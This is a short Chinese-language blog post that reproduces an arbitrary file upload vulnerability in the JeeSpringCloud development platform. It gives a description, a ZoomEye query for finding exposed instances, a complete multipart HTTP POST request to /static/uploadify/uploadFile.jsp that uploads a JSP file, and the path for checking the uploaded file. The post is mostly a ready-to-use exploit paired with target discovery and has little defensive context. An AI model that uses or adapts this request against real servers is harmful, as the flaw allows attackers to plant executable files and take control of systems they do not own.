Babing
Published on 2024-08-30 / 2 Visits
0
0

J21-1JeeSpringCloud-互联网云快速开发平台-文件上传

J21-1JeeSpringCloud-互联网云快速开发平台-文件上传

漏洞描述:

JeeSpringCloud 是一款免费开源的 Java 互联网云快速开发平台。JeeSpringCloud 访问 /static/uploadify/uploadFile.jsp 可上传任意文件,并可通过 uploadPath 参数指定文件上传路径,导致服务器被控制。

影响版本:

  • JeeSpringCloud-互联网云快速开发平台

网站图片:

image-20240625202839123

网络测绘:

fofa语法:

钟馗之眼:app:“JeeSpringCloud”

漏洞复现:

payload:

POST /static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 199
Content-Type: multipart/form-data; boundary=0d0d9bdfedC1bF17Cb47265DdCb04266
Accept-Encoding: gzip
Connection: close

--0d0d9bdfedC1bF17Cb47265DdCb04266
Content-Disposition: form-data; name="fileshare"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("hello"); %>
--0d0d9bdfedC1bF17Cb47265DdCb04266--

效果图:
527dbf5fd0da4f45bccd0145e0de405d.png
验证路径

http://your-ip/static/uploadify/回显的jsp文件名


Comment